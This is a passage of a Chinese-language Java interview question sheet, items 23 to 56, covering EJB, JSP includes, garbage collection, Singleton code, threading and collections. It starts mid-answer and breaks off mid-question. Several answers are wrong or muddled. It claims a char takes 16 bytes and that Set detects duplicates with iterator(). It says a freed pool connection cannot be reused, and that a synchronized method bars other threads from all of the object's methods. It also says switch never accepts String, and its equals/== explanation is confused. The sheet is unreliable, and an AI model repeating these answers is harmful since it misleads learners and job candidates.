相当于DCOM，即分布式组件。它是基于Java的远程方法调用（RMI）技术的，所以EJB可以被远程访问（跨进程、跨计算机）。但EJB必须被布署在诸如Webspere、WebLogic这样的容器中，EJB客户从不直接访问真正的EJB组件，而是通过其容器访问。EJB容器是EJB组件的代理， EJB组件由容器所创建和管理。客户通过容器来访问真正的EJB组件。<br /><br />24、Static Nested Class 和 Inner Class的不同。<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Static Nested Class是被声明为静态（static）的内部类，它可以不依赖于外部类实例被实例化。而通常的内部类需要在外部类实例化后才能实例化。<br /><br />25、JSP中动态INCLUDE与静态INCLUDE的区别？<br />　　动态INCLUDE用jsp:include动作实现 &lt;jsp:include page="included.jsp" flush="true" />它总是会检查所含文件中的变化，适合用于包含动态页面，并且可以带参数。<br />静态INCLUDE用include伪码实现,定不会检查所含文件的变化，适用于包含静态页面&lt;%@ include file="included.htm" %><br /><br />26、什么时候用assert。<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; assertion(断言)在软件开发中是一种常用的调试方式，很多开发语言中都支持这种机制。在实现中，assertion就是在程序中的一条语句，它对一个boolean表达式进行检查，一个正确程序必须保证这个boolean表达式的值为true；如果该值为false，说明程序已经处于不正确的状态下，系统将给出警告或退出。一般来说，assertion用于保证程序最基本、关键的正确性。assertion检查通常在开发和测试时开启。为了提高性能，在软件发布后，assertion检查通常是关闭的。<br /><br />27、GC是什么? 为什么要有GC?<br />　　GC是垃圾收集的意思（Gabage Collection）,内存处理是编程人员容易出现问题的地方，忘记或者错误的内存回收会导致程序或系统的不稳定甚至崩溃，Java提供的GC功能可以自动监测对象是否超过作用域从而达到自动回收内存的目的，Java语言没有提供释放已分配内存的显示操作方法。<br /><br />28、short s1 = 1; s1 = s1 + 1;有什么错? short s1 = 1; s1 += 1;有什么错?<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; short s1 = 1; s1 = s1 + 1; （s1+1运算结果是int型，需要强制转换类型）<br />short s1 = 1; s1 += 1;（可以正确编译）<br /><br />29、Math.round(11.5)等於多少? Math.round(-11.5)等於多少?<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Math.round(11.5)==12<br />Math.round(-11.5)==-11<br />round方法返回与参数最接近的长整数，参数加1/2后求其floor.<br /><br />30、String s = new String("xyz");创建了几个String Object?<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 两个<br /><br />31、EJB包括（SessionBean,EntityBean）说出他们的生命周期，及如何管理事务的？<br />　　SessionBean： Stateless Session Bean 的生命周期是由容器决定的，当客户机发出请求要建立一个Bean的实例时，EJB容器不一定要创建一个新的Bean的实例供客户机调用，而是随便找一个现有的实例提供给客户机。当客户机第一次调用一个Stateful Session Bean 时，容器必须立即在服务器中创建一个新的Bean实例，并关联到客户机上，以后此客户机调用Stateful Session Bean 的方法时容器会把调用分派到与此客户机相关联的Bean实例。<br />EntityBean：Entity Beans能存活相对较长的时间，并且状态是持续的。只要数据库中的数据存在，Entity beans就一直存活。而不是按照应用程序或者服务进程来说的。即使EJB容器崩溃了，Entity beans也是存活的。Entity Beans生命周期能够被容器或者 Beans自己管理。<br />　　EJB通过以下技术管理实务：对象管理组织（OMG）的对象实务服务（OTS），Sun Microsystems的Transaction Service（JTS）、Java Transaction API（JTA），开发组（X/Open）的XA接口。<br /><br />32、应用服务器有那些？<br />BEA WebLogic Server，IBM WebSphere Application Server，Oracle9i Application Server，jBoss，Tomcat<br /><br />33、给我一个你最常见到的runtime exception。<br />ArithmeticException, ArrayStoreException, BufferOverflowException, BufferUnderflowException, CannotRedoException, CannotUndoException, ClassCastException, CMMException, ConcurrentModificationException, DOMException, EmptyStackException, IllegalArgumentException, IllegalMonitorStateException, IllegalPathStateException, IllegalStateException, ImagingOpException, IndexOutOfBoundsException, MissingResourceException, NegativeArraySizeException, NoSuchElementException, NullPointerException, ProfileDataException, ProviderException, RasterFormatException, SecurityException, SystemException, UndeclaredThrowableException, UnmodifiableSetException, UnsupportedOperationException<br /><br />34、接口是否可继承接口? 抽象类是否可实现(implements)接口? 抽象类是否可继承实体类(concrete class)?<br />　　接口可以继承接口。抽象类可以实现(implements)接口，抽象类是否可继承实体类，但前提是实体类必须有明确的构造函数。<br /><br />35、List, Set, Map是否继承自Collection接口?<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; List，Set是，Map不是<br /><br />36、说出数据连接池的工作机制是什么?<br />　　J2EE 服务器启动时会建立一定数量的池连接，并一直维持不少于此数目的池连接。客户端程序需要连接时，池驱动程序会返回一个未使用的池连接并将其表记为忙。如果当前没有空闲连接，池驱动程序就新建一定数量的连接，新建连接的数量由配置参数决定。当使用的池连接调用完成后，池驱动程序将此连接表记为空闲，其他调用就不可以使用这个连接。<br /><br />37、abstract的method是否可同时是static,是否可同时是native，是否可同时是synchronized?<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 都不能<br /><br />38、数组有没有length()这个方法? String有没有length()这个方法？<br />　　数组没有length()这个方法，有length的属性。String有有length()这个方法。<br /><br />39、Set里的元素是不能重复的，那么用什么方法来区分重复与否呢? 是用==还是equals()? 它们有何区别?<br />　　Set里的元素是不能重复的，那么用iterator()方法来区分重复与否。equals()是判读两个Set是否相等。<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; equals()和==方法决定引用值是否指向同一对象equals()在类中被覆盖，为的是当两个分离的对象的内容和类型相配的话，返回真值。 <br />40、构造器Constructor是否可被override?<br />　构造器Constructor不能被继承，因此不能重写Overriding，但可以被重载Overloading。<br /><br />41、是否可以继承String类?<br />　　String类是final类故不可以继承。<br /><br />42、swtich是否能作用在byte上，是否能作用在long上，是否能作用在String上?<br />　　switch（expr1）中，expr1是一个整数表达式。因此传递给 switch 和 case 语句的参数应该是 int、 short、 char 或者 byte。long,string 都不能作用于swtich。<br /><br />43、try {}里有一个return语句，那么紧跟在这个try后的finally {}里的code会不会被执行，什么时候被执行，在return前还是后?<br />　　会执行，在return前执行。<br /><br />44、编程题: 用最有效率的方法算出2乘以8等於几?<br />2 &lt;&lt; 3<br /><br />45、两个对象值相同(x.equals(y) == true)，但却可有不同的hash code，这句话对不对?<br />　　不对，有相同的hash code。<br /><br />46、当一个对象被当作参数传递到一个方法后，此方法可改变这个对象的属性，并可返回变化后的结果，那么这里到底是值传递还是引用传递?<br />　　是值传递。Java 编程语言只有值传递参数。当一个对象实例作为一个参数被传递到方法中时，参数的值就是对该对象的引用。对象的内容可以在被调用的方法中改变，但对象的引用是永远不会改变的。<br /><br />47、当一个线程进入一个对象的一个synchronized方法后，其它线程是否可进入此对象的其它方法?<br />　　不能，一个对象的一个synchronized方法只能由一个线程访问。<br /><br />48、编程题: 写一个Singleton出来。<br />　　Singleton模式主要作用是保证在Java应用程序中，一个类Class只有一个实例存在。<br />一般Singleton模式通常有几种种形式:<br />　　第一种形式: 定义一个类，它的构造函数为private的，它有一个static的private的该类变量，在类初始化时实例话，通过一个public的getInstance方法获取对它的引用,继而调用其中的方法。&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <br />public class Singleton {<br />private Singleton(){}<br />　　&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; //在自己内部定义自己一个实例，是不是很奇怪？<br />　　&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; //注意这是private 只供内部调用<br />　　&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; private static Singleton instance = new Singleton();<br />　　&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; //这里提供了一个供外部访问本class的静态方法，可以直接访问　　<br />　　&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; public static Singleton getInstance() {<br />　　&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; return instance; 　　<br />　　&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; } <br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 第二种形式:<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <br />public class Singleton {<br />　　private static Singleton instance = null;<br />　　public static synchronized Singleton getInstance() {<br />　　//这个方法比上面有所改进，不用每次都进行生成对象，只是第一次　　　 　<br />　　//使用时生成实例，提高了效率！<br />　　if (instance==null)<br />　　instance＝new Singleton();<br />return instance; 　　}<br />}<br /><br /><br />其他形式:<br />定义一个类，它的构造函数为private的，所有方法为static的。<br />一般认为第一种形式要更加安全些<br /><br />49、Java的接口和C++的虚类的相同和不同处。<br />　　由于Java不支持多继承，而有可能某个类或对象要使用分别在几个类或对象里面的方法或属性，现有的单继承机制就不能满足要求。与继承相比，接口有更高的灵活性，因为接口中没有任何实现代码。当一个类实现了接口以后，该类要实现接口里面所有的方法和属性，并且接口里面的属性在默认状态下面都是 public static,所有方法默认情况下是public.一个类可以实现多个接口。<br /><br />50、Java中的异常处理机制的简单原理和应用。<br />　　当JAVA程序违反了JAVA的语义规则时，JAVA虚拟机就会将发生的错误表示为一个异常。违反语义规则包括2种情况。一种是JAVA类库内置的语义检查。例如数组下标越界,会引发IndexOutOfBoundsException;访问null的对象时会引发 NullPointerException。另一种情况就是JAVA允许程序员扩展这种语义检查，程序员可以创建自己的异常，并自由选择在何时用 throw关键字引发异常。所有的异常都是java.lang.Throwable的子类。<br /><br />51、垃圾回收的优点和原理。并考虑2种回收机制。<br />　　Java语言中一个显著的特点就是引入了垃圾回收机制，使c++程序员最头疼的内存管理的问题迎刃而解，它使得Java程序员在编写程序的时候不再需要考虑内存管理。由于有个垃圾回收机制，Java中的对象不再有"作用域"的概念，只有对象的引用才有"作用域"。垃圾回收可以有效的防止内存泄露，有效的使用可以使用的内存。垃圾回收器通常是作为一个单独的低级别的线程运行，不可预知的情况下对内存堆中已经死亡的或者长时间没有使用的对象进行清楚和回收，程序员不能实时的调用垃圾回收器对某个对象或所有对象进行垃圾回收。回收机制有分代复制垃圾回收和标记垃圾回收，增量垃圾回收。<br /><br />52、请说出你所知道的线程同步的方法。<br />wait():使一个线程处于等待状态，并且释放所持有的对象的lock。<br />sleep():使一个正在运行的线程处于睡眠状态，是一个静态方法，调用此方法要捕捉InterruptedException异常。<br />notify():唤醒一个处于等待状态的线程，注意的是在调用此方法的时候，并不能确切的唤醒某一个等待状态的线程，而是由JVM确定唤醒哪个线程，而且不是按优先级。<br />notityAll():唤醒所有处入等待状态的线程，注意并不是给所有唤醒线程一个对象的锁，而是让它们竞争。<br /><br />53、你所知道的集合类都有哪些？主要方法？<br />　　最常用的集合类是 List 和 Map。 List 的具体实现包括 ArrayList 和 Vector，它们是可变大小的列表，比较适合构建、存储和操作任何类型对象的元素列表。 List 适用于按数值索引访问元素的情形。<br />Map 提供了一个更通用的元素存储方法。 Map 集合类用于存储元素对（称作"键"和"值"），其中每个键映射到一个值。<br /><br />54、描述一下JVM加载class文件的原理机制?<br />　　JVM中类的装载是由ClassLoader和它的子类来实现的,Java ClassLoader 是一个重要的Java运行时系统组件。它负责在运行时查找和装入类文件的类。<br /><br />55、char型变量中能不能存贮一个中文汉字?为什么?<br />　　能够定义成为一个中文的，因为java中以unicode编码，一个char占16个字节，所以放一个中文是没问题的<br /><br />56、多线程有几种实现方法,都是什么?同步有几种实现方